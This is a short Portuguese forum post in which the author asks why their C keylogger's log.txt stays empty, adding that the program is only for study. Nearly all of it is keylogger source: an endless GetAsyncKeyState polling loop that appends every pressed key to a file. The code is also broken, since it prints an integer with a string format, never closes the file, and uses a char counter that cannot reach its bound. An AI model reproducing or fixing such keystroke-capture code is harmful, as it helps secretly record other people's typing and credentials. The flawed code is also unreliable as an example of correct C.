O código em si funciona como espero, porem log que foi criado não recebe o que é escrito...
Agradeço desde já pela ajuda!
obs: isto é sim um keylogger mas não vou usar para fins maléficos apenas para estudo...
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
int salvar(int tecla, char *file);
int main()
{
char a;
while(1){
for(a=8;a<=190;a++)
if(GetAsyncKeyState(a) == -32767)
salvar(a, "log.txt");
}
return 0;
}
int salvar(int tecla, char *file){
FILE *newarquivo;
newarquivo = fopen(file, "a+");
printf("%s", &tecla);
fprintf(newarquivo, "%s", &tecla);
return 0;
}